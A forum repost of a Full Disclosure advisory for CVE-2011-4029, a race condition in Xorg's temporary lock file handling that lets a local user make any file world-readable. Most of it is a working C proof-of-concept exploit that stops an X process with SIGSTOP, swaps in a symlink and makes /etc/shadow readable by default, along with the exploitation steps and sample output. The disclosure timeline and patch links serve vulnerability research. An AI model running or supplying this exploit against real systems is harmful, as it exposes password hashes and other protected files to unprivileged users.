Nytro Posted October 28, 2011 Report Posted October 28, 2011 (edited) Xorg permission change vulnerabilityFrom: vladz <vladz () devzero fr>Introduction------------I've found a file permission change vulnerability in the way that Xorgcreates its temporary lock file "/tmp/.tXn-lock" (where 'n' is the Xdisplay). When exploited, this vulnerability allows a non-root user to setthe read permission for all users on any file or directory.For the exploit to succeed the local attacker needs to be able to run theX.Org X11 X server.NOTE: At this time (26/10/2010), some distros are still vulnerable (see "Fix & Patch" above for more informations).Hi list,A couple of weeks ago, I found a permission change vulnerability in the way that Xorg handled its lock files. Once exploited, it allowed alocal user to modify the file permissions of an arbitrary file to 444 (readfor all).It has been assigned CVE-2011-4029, X.org released a patch on 2011/10/18,and now, I though I could share the vulnerability description and itsoriginal PoC.POC: http://vladz.devzero.fr/Xorg-CVE-2011-4029.txtAuthor: vladz <vladz@devzero.fr> (new on twitter @v14dz!)Description: Xorg permission change vulnerability (CVE-2011-4029)Product: X.Org (http://www.x.org/releases/)Affected: Xorg 1.4 to 1.11.2 in all configurations. Xorg 1.3 and earlier if built with the USE_CHMOD preprocessor identifierPoC tested on: Debian 6.0.2 up to date with X default configuration issued from the xserver-xorg-core package (version 2:1.7.7-13)Follow-up: 2011/10/07 - X.org foundation informed 2011/10/09 - Distros informed 2011/10/18 - Issue/patch publicly announcedIntroduction------------I've found a file permission change vulnerability in the way that Xorgcreates its temporary lock file "/tmp/.tXn-lock" (where 'n' is the Xdisplay). When exploited, this vulnerability allows a non-root user to setthe read permission for all users on any file or directory.For the exploit to succeed the local attacker needs to be able to run theX.Org X11 X server.NOTE: At this time (26/10/2010), some distros are still vulnerable (see "Fix & Patch" above for more informations).Description-----------Once started, Xorg attempts to create a lock file "/tmp/.Xn-lock" in asecure manner: it creates/opens a temporary lock file "/tmp/.tXn-lock"with the O_EXCL flag, writes the current PID into it, links it to the final"/tmp/.Xn-lock" and unlink "/tmp/.tXn-lock". Here is the code: $ cat -n os/utils.c [...] 288 /* 289 * Create a temporary file containing our PID. Attempt three times 290 * to create the file. 291 */ 292 StillLocking = TRUE; 293 i = 0; 294 do { 295 i++; 296 lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644); 297 if (lfd < 0) 298 sleep(2); 299 else 300 break; 301 } while (i < 3); 302 if (lfd < 0) { 303 unlink(tmp); 304 i = 0; 305 do { 306 i++; 307 lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644); 308 if (lfd < 0) 309 sleep(2); 310 else 311 break; 312 } while (i < 3); 313 } 314 if (lfd < 0) 315 FatalError("Could not create lock file in %s\n", tmp); 316 (void) sprintf(pid_str, "%10ld\n", (long)getpid()); 317 (void) write(lfd, pid_str, 11); 318 (void) chmod(tmp, 0444); 319 (void) close(lfd); 320 [...] 328 haslock = (link(tmp,LockFile) == 0); 329 if (haslock) { 330 /* 331 * We're done. 332 */ 333 break; 334 } 335 else { 336 /* 337 * Read the pid from the existing file 338 */ 339 lfd = open(LockFile, O_RDONLY); 340 if (lfd < 0) { 341 unlink(tmp); 342 FatalError("Can't read lock file %s\n", LockFile); 343 } [...]As a reminder, chmod() operates on filenames rather than on file handles.So in this case, at line 318, there is no guarantee that the file"/tmp/.tXn-lock" still refers to the same file on disk that it did when itwas opened via the open() call. See TOCTOU vulnerability explained onOWASP[1] for more informations.The idea here is to remove and replace (by a malicious symbolic link), the"tmp" file ("/tmp/.tXn-lock") between the call to open() at line 296 andthe call to chmod() at line 318. But for a non-root user, removing thisfile looks impossible as it is located in a sticky bit directory ("/tmp")and owned by root.But, what if we launch two Xorg processes with an initial offset (fewmilliseconds) so that the first process unlink() (line 341) the "tmp" fileright before the second process calls chmod()? This race condition would consists in placing unlink() between open() and chmod(). It sounds very difficult because there is only one system call between them (and maybe notenough time to perform unlink() and create our symbolic link): # strace X :1 [...] open("/tmp/.tX1-lock", O_WRONLY|O_CREAT|O_EXCL, 0644) = 0 write(0, " 2192\n", 11) = 11 chmod("/tmp/.tX1-lock", 0444) = 0Anyway, we can make this possible by sending signals SIGCONT and SIGSTOP[2]to our process. As they are not trapped by the program, they will allow usto control and regulate (by stopping and resuming) the execution flow.Here is how to proceed: 1) launch the X wrapper (pid=n) 2) stop it (by sending SIGSTOP to 'n') rigth after "/tmp/.tX1-lock" is created (this actually means that the next instruction is chmod()) 3) launch another X process to unlink() /tmp/.tX1-lock 4) create the symbolic link "/tmp/.tX1-lock" -> "/etc/shadow" 5) send SIGCONT to 'n' to perform chmod() on our linkThe minor problem is that when launching X several times (for racepurpose), it makes the console switch between X and TTY, and in some cases,it freezes the screen and disturbs the attack. The solution is to make Xexit before it switches by creating a link "/tmp/.Xn-lock" (real lockfilename) to a file that doesn't exist. This will make the open() callfails at line 339, and quit with FatalError() at 342.So before our 5 steps, we just need to add: 0) create the symbolic link "/tmp/.X1-lock" -> "/dontexist"Proof Of Concept----------------/* xchmod.c -- Xorg file permission change vulnerability PoC This PoC sets the rights 444 (read for all) on any file specified as argument (default file is "/etc/shadow"). Another good use for an attacker would be to dump an entire partition in order to disclose its full content later (via a "mount -o loop"). Made for EDUCATIONAL PURPOSES ONLY! CVE-2011-4029 has been assigned. In some configurations, this exploit must be launched from a TTY (switch by typing Ctrl-Alt-Fn). Tested on Debian 6.0.2 up to date with X default configuration issued from the xserver-xorg-core package (version 2:1.7.7-13). Compile: cc xchmod.c -o xchmod Usage: ./xchmod [/path/to/file] (default file is /etc/shadow) $ ls -l /etc/shadow -rw-r----- 1 root shadow 1072 Aug 7 07:10 /etc/shadow $ ./xchmod [+] Trying to stop a Xorg process right before chmod() [+] Process ID 4134 stopped (SIGSTOP sent) [+] Removing /tmp/.tX1-lock by launching another Xorg process [+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow) [+] Process ID 4134 resumed (SIGCONT sent) [+] Attack succeeded, ls -l /etc/shadow: -r--r--r-- 1 root shadow 1072 Aug 7 07:10 /etc/shadow ----------------------------------------------------------------------- "THE BEER-WARE LICENSE" (Revision 42): <vladz@devzero.fr> wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return. -V.*/#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <unistd.h>#include <stdio.h>#include <syscall.h>#include <signal.h>#include <string.h>#include <stdlib.h>#define XORG_BIN "/usr/bin/X"#define DISPLAY ":1"char *get_tty_number(void) { char tty_name[128], *ptr; memset(tty_name, '\0', sizeof(tty_name)); readlink("/proc/self/fd/0", tty_name, sizeof(tty_name)); if ((ptr = strstr(tty_name, "tty"))) return ptr + 3; return NULL;}int launch_xorg_instance(void) { int child_pid; char *opt[] = { XORG_BIN, DISPLAY, NULL }; if ((child_pid = fork()) == 0) { close(1); close(2); execve(XORG_BIN, opt, NULL); _exit(0); } return child_pid;}void show_target_file(char *file) { char cmd[128]; memset(cmd, '\0', sizeof(cmd)); sprintf(cmd, "/bin/ls -l %s", file); system(cmd);}int main(int argc, char **argv) { pid_t proc; struct stat st; int n, ret, current_attempt = 800; char target_file[128], lockfiletmp[20], lockfile[20], *ttyno; if (argc < 2) strcpy(target_file, "/etc/shadow"); else strcpy(target_file, argv[1]); sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY+1); sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY+1); /* we must ensure that Xorg is not already running on this display */ if (stat(lockfile, &st) == 0) { printf("[-] %s exists, maybe Xorg is already running on this" " display? Choose another display by editing the DISPLAY" " attributes.\n", lockfile); return 1; } /* this avoid execution to continue (and automatically switch to another * TTY). Xorg quits with fatal error because the file that /tmp/.X?-lock * links does not exist. */ symlink("/dontexist", lockfile); /* we have to force this mask to not comprise our later checks */ umask(077); ttyno = get_tty_number(); printf("[+] Trying to stop a Xorg process right before chmod()\n"); while (--current_attempt) { proc = launch_xorg_instance(); n = 0; while (n++ < 10000) if ((ret = syscall(SYS_stat, lockfiletmp, &st)) == 0) break; if (ret == 0) { syscall(SYS_kill, proc, SIGSTOP); printf("[+] Process ID %d stopped (SIGSTOP sent)\n", proc); stat(lockfiletmp, &st); if ((st.st_mode & 4) == 0) break; printf("[-] %s file has wrong rights (%o)\n" "[+] removing it by launching another Xorg process\n", lockfiletmp, st.st_mode); launch_xorg_instance(); sleep(7); } kill(proc, SIGKILL); } if (current_attempt == 0) { printf("[-] Attack failed.\n"); if (!ttyno) printf("Try with console ownership: switch to a TTY* by using " "Ctrl-Alt-F[1-6] and try again.\n"); return 1; } printf("[+] Removing %s by launching another Xorg process\n", lockfiletmp); launch_xorg_instance(); sleep(7); if (stat(lockfiletmp, &st) == 0) { printf("[-] %s lock file still here... \n", lockfiletmp); return 1; } printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp, target_file); symlink(target_file, lockfiletmp); printf("[+] Process ID %d resumed (SIGCONT sent)\n", proc); kill(proc, SIGCONT); /* wait for chmod() to finish */ usleep(300000); stat(target_file, &st); if (!(st.st_mode & 004)) { printf("[-] Attack failed, rights are %o. Try again!\n", st.st_mode); return 1; } /* cleaning temporary link */ unlink(lockfile); printf("[+] Attack succeeded, ls -l %s:\n", target_file); show_target_file(target_file); return 0;}Fix & Patch------------A fix for this vulnerability is available and will be included in xserver1.11.2 and xserver 1.12. http://cgit.freedesktop.org/xorg/xserver/commit/?id=b67581cf825940fdf52bf2e0af4330e695d724a4Some distros released new Xorg packages (Ubuntu, Gentoo) since others (likeDebian) judge this as a non-critical issue: http://security-tracker.debian.org/tracker/CVE-2011-4029Footnotes & links-----------------[1] https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU[2] http://en.wikipedia.org/wiki/SIGCONT "SIGCONT is the signal sent to restart a process previously paused by the SIGSTOP signal".Sursa: Full Disclosure: Xorg file permission change PoC (CVE-2011-4029)PS: "At this time (26/10/2010)" cred ca vrea sa fie 2011. Edited October 28, 2011 by Nytro Quote